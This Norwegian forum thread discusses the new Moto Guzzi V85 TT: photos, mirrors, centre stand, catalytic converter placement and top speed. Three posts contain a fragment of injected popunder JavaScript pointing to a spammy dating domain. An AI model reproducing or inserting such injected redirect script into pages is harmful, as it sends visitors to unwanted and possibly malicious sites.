Moto Guzzi V85 - spennende nykommer i 2019!

[Fidel]

Bestilt og bestilt. Jeg vil jo gjerne se den live først. Dernest har jeg noen ganger brent meg på å kjøpe første årsmodell av en ny sykkel. Mulig jeg skal drøye den litt denne gang. Skjønt, hvem vet...

[AJ]

Skjønt, hvem vet...

Ja, akkurat. Hvem vet... ?

Er veldig nysgjerrig på denne selv og ender vel antakelig opp med å gå til anskaffelse av en. Men kanskje ikke før i 2020...

[kvase]

Står her offisielle bilder har kommet
https://www.mcavisa.no/single-post/2018 ... zzi-V85-TT

[AJ]

Dette begynner å se bra ut !

Men håper Guzzifolkene dropper Mikke Mus ørespeilene og putter på de gode gamle ovale Piaggio speilene i stedet...
I tillegg skulle jeg gjerne sett at V85'en blir levert med hovedstøtte.

Her de siste publiserte bildene av nyskapningen fra Mandello del Lario :

MG 85 1.jpg

MG 85 2.jpg

MG 85 3.jpg

MG 85 4.jpg

[kvase]

Ser ut som de speila som kan legges inn ved ut i buskas skjøring .-Smart det så har man hele speil
Trist farge

link ?
http://discoverv85.motoguzzi.com/en/

[Skogstrollet]

Den blå fargen var langt bedre en de andre den er vist opp med, men jeg synes fortsatt den fronten får sykkelen til å se ut som en and fanget i hodelyktene til en bil... Utover det så ser sykkelen ikke så ille ut

[kjellv]

Med eksosanlegget under motoren på denne måte kan montering av hovedstøtte få noen utfordringer ja..

Sent fra min TA-1053 via Tapatalk

[AJ]

Med eksosanlegget under motoren på denne måte kan montering av hovedstøtte få noen utfordringer ja..

Eksosplasseringen i seg selv er ikke noe problem. Stelvioen jeg hadde med originalmontert hovedstøtte var sånn sett helt lik.
Det som skaper utfordringene på V85'en er katalysatoren, som er plassert under motoren i stedet for i forkant av eksospotta slik den er plassert i Stelvioanlegget.
På samme måte som på min forrige og nåværende KTM. Denne plasseringen tar langt mindre plass enn den som Moto Guzzi har valgt - eller har vært nødt til å velge - på V85 pga. av utslippskravene. Kan tenke meg at katalysatoren på denne motoren må ha en viss størrelse for at den skal være effektiv nok på den luftkjølte motoren.

[kvase]

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

[kvase]

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

[AJ]

Lett vel optimistisk, kanskje... :

MG850 topspeed.png

[Grendel]

Lett vel optimistisk, kanskje... :crazy: :

MG850 topspeed.png

For den jevne MC-fører blir vel dette bare nevnt i "skrytebøkene"?

Uansett så vil vel slikt bety at den er relativt grei å kjøre i 120-160?

8-)

[AJ]

Uansett så vil vel slikt bety at den er relativt grei å kjøre i 120-160?

8-)

Stelvio'en jeg hadde gikk i hvert fall veldig fint i de hastighetene .
Men den ble litt tungpustet, for å si det på den måten, da 200 km. grensa ble passert... .

Slik kjøring fant for øvrig sted i det store utland på dertil egnede veier hvor det (forsåvidt...) er lov med slike hastigheter...

[AJ]

Ah... !!

');var popunder = {expire: 6, url: "https://flirthoney-hot.life/?u=lcd8hwq&o=h6dw1n9"};}

Dette må jeg si ser bra og svært lovende ut!
Vil ikke overraske meg om nye V85 TT blir en suksess på mange markeder, kanskje til og med også her i Norge :)

[kvase]

Kan minne meg litt om egenskapene til KTM 1050 jeg hadde men mulig litt mere pønsj i trekkraften ? kanskje opp mot 1090 adv S
men ikke som R utgaven